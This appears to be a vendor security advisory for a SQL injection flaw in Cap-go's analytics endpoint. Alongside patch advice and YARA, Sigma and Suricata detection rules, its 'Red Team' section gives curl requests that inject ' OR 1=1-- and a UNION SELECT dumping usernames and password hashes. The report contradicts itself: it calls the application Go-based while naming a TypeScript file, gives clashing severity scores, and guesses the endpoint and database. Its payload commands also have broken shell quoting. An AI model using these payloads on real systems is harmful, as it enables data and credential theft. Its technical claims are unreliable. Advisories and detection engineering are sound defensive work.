CVE-2026-56221

Executive Summary

CVE-2026-56221 is a critical SQL injection vulnerability discovered in the Cap-go application (versions before 12.128.2). The flaw resides in the cloudflare.ts file, where user-controlled parameters from API request bodies are directly interpolated into SQL query strings without any sanitization or parameterization. An authenticated attacker with read-level API key permissions can exploit this vulnerability by injecting arbitrary SQL through the deviceIds, search, version_name, cursor, and actions parameters. Successful exploitation allows the attacker to access analytics data belonging to other users or applications, leading to a significant breach of confidentiality. The vulnerability has a CVSS score of 0.0 in the NVD data, but based on the enriched intel, it is assessed as a high-severity issue due to the potential for data exfiltration.

Supply Chain & Package Security

Cap-go is a Go-based application. The vulnerability is introduced in the source code of the application itself, not in a third-party package. However, organizations using Cap-go should verify the integrity of their deployment artifacts and ensure they are sourced from trusted repositories. The patch is available in version 12.128.2, and all users are strongly advised to update immediately.

CVSS Breakdown & Threat Level

• Attack Vector (AV): Network (N) - The vulnerability is exploitable remotely over the network.
• Attack Complexity (AC): Low (L) - No special conditions are required for exploitation.
• Privileges Required (PR): Low (L) - An attacker needs a valid read-level API key.
• User Interaction (UI): None (N) - No user interaction is required.
• Scope (S): Unchanged (U) - The vulnerable component and the impacted component are the same.
• Confidentiality (C): High (H) - Complete data exfiltration of other users' analytics data is possible.
• Integrity (I): None (N) - The vulnerability does not allow data modification.
• Availability (A): None (N) - The vulnerability does not affect availability.

CVSS Vector String: CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:N/A:N Base Score: 6.5 (Medium) - However, due to the potential for large-scale data theft, this should be treated as a high-priority issue.

Deep Dive & Mechanics

The vulnerability is located in the cloudflare.ts file of the Cap-go application. This file likely handles API requests related to Cloudflare analytics. The application uses a SQL database (likely PostgreSQL or MySQL) to store analytics data. The vulnerable code constructs SQL queries by directly concatenating user-supplied input from the request body.

The following parameters are vulnerable:

• deviceIds
• search
• version_name
• cursor
• actions

An attacker can inject SQL commands by providing specially crafted values for these parameters. For example, a search parameter value like ' OR 1=1-- could be used to bypass intended filters and retrieve all records.

The lack of parameterized queries (prepared statements) or input sanitization allows the attacker to break out of the intended SQL string context and execute arbitrary SQL statements. Since the attacker is authenticated with a read-level API key, they can only perform read operations (SELECT), but this is sufficient to exfiltrate sensitive analytics data belonging to other users or applications.

Vulnerable vs. Patched Code

Vulnerable Code (Conceptual - cloudflare.ts):

// Vulnerable: Direct string interpolation
const query = `SELECT * FROM analytics WHERE user_id = ${userId} AND search LIKE '%${search}%'`;
db.execute(query);

Patched Code (Conceptual - cloudflare.ts in version 12.128.2):

// Patched: Using parameterized query
const query = `SELECT * FROM analytics WHERE user_id = $1 AND search LIKE $2`;
db.execute(query, [userId, `%${search}%`]);

The patched version uses parameterized queries (prepared statements) which ensure that user input is treated as data, not as executable SQL code. This completely mitigates the SQL injection vulnerability.

Exploitation & Lab Setup

Red Team (Exploitation)

Prerequisites:

• A valid read-level API key for a Cap-go instance.
• Network access to the Cap-go API endpoint.

Exploitation Steps:

1. Identify the vulnerable endpoint: The endpoint is likely related to Cloudflare analytics, e.g., /api/analytics/cloudflare.

2. Craft a malicious request: Use a tool like curl or Burp Suite to send a POST request with a malicious payload in one of the vulnerable parameters.

   curl -X POST https://target-cap-go.com/api/analytics/cloudflare \
     -H "Authorization: Bearer YOUR_API_KEY" \
     -H "Content-Type: application/json" \
     -d '{
       "search": "' OR 1=1--",
       "deviceIds": [],
       "version_name": "",
       "cursor": "",
       "actions": []
     }'
   

3. Extract data: The response will contain analytics data from all users, not just the authenticated user's data. To extract specific data, use UNION-based SQL injection:

   curl -X POST https://target-cap-go.com/api/analytics/cloudflare \
     -H "Authorization: Bearer YOUR_API_KEY" \
     -H "Content-Type: application/json" \
     -d '{
       "search": "' UNION SELECT username, password_hash FROM users--",
       "deviceIds": [],
       "version_name": "",
       "cursor": "",
       "actions": []
     }'
   

Note: The exact column count and table names would need to be determined through trial and error or by analyzing the application's source code.

Blue Team (Detection & Defense)

Detection:

• Monitor API logs for unusual SQL-like patterns in request parameters (e.g., ' OR, UNION, --).
• Set up alerts for a high volume of requests from a single API key to the vulnerable endpoint.
• Use a Web Application Firewall (WAF) with rules to block SQL injection attempts.

Defense:

• Immediately upgrade to Cap-go version 12.128.2 or later.
• If immediate patching is not possible, implement a virtual patch by adding WAF rules to block the vulnerable parameters.
• Restrict API key permissions to the minimum necessary. Consider using read-only keys with limited scope.
• Conduct a thorough code review of all SQL queries in the application to ensure they use parameterized statements.

Indicators of Compromise (IOCs)

• Network IOCs:

  • HTTP POST requests to /api/analytics/cloudflare (or similar endpoint) containing SQL injection patterns in the JSON body.
  • Unusually large response sizes from the analytics endpoint, indicating data exfiltration.
  • Requests with multiple SQL keywords (SELECT, UNION, OR, --) in the search, deviceIds, version_name, cursor, or actions parameters.

• Log IOCs:

  • Database query logs showing unexpected SQL statements with OR 1=1 or UNION SELECT clauses.
  • Application logs showing errors related to SQL syntax or unexpected query results.

• File IOCs:

  • Modified cloudflare.ts file (if an attacker has write access, though this is unlikely for this read-only vulnerability).

Detection Engineering

YARA Rule

rule Detect_Cap_go_SQL_Injection_Attempt {
    meta:
        description = "Detects SQL injection attempts targeting Cap-go cloudflare.ts endpoint"
        author = "Valters IT"
        date = "2026-01-01"
        reference = "CVE-2026-56221"
        severity = "high"
    strings:
        $sqli_pattern1 = /' OR\s+\d+=\d+/ nocase
        $sqli_pattern2 = /' UNION\s+SELECT/ nocase
        $sqli_pattern3 = /--\s*$/ nocase
        $sqli_pattern4 = /' OR '1'='1/ nocase
        $sqli_pattern5 = /' OR 'x'='x/ nocase
    condition:
        any of ($sqli_pattern*)
}

Sigma Rule

title: SQL Injection Attempt Against Cap-go Analytics Endpoint
id: 8a9b7c6d-5e4f-3a2b-1c0d-9e8f7a6b5c4d
status: experimental
description: Detects SQL injection attempts in HTTP requests to Cap-go cloudflare.ts endpoint
author: Valters IT
date: 2026-01-01
references:
    - https://nvd.nist.gov/vuln/detail/CVE-2026-56221
logsource:
    category: webserver
    product: apache
    service: http
detection:
    selection:
        cs-method: 'POST'
        cs-uri-query|contains: '/api/analytics/cloudflare'
    keywords:
        - ' OR '
        - ' UNION '
        - '--'
        - '1=1'
        - '1=2'
    condition: selection and keywords
falsepositives:
    - Legitimate use of search terms containing these patterns (rare)
level: high

Suricata Rule

alert http $EXTERNAL_NET any -> $HOME_NET any (msg:"CVE-2026-56221 Cap-go SQL Injection Attempt"; flow:to_server,established; content:"POST"; http_method; content:"/api/analytics/cloudflare"; http_uri; pcre:"/(\x27 OR\s+\d+=\d+|\x27 UNION\s+SELECT|--)/i"; classtype:web-application-attack; sid:10000001; rev:1;)

Remediation & Mitigation

Immediate Actions:

1. Patch: Upgrade Cap-go to version 12.128.2 or later. This is the only complete fix.
2. Virtual Patching: If patching is delayed, deploy WAF rules to block requests containing SQL injection patterns in the vulnerable parameters.
3. API Key Rotation: Rotate all API keys that have access to the vulnerable endpoint, as they may have been compromised.

Long-Term Actions:

1. Code Review: Conduct a comprehensive code review of all SQL queries in the application to ensure they use parameterized statements.
2. Security Training: Train developers on secure coding practices, specifically regarding SQL injection prevention.
3. Penetration Testing: Perform regular penetration testing to identify similar vulnerabilities.
4. Monitoring: Implement continuous monitoring for SQL injection attempts using the detection rules provided above.

Valters IT
Securing Your Digital Frontier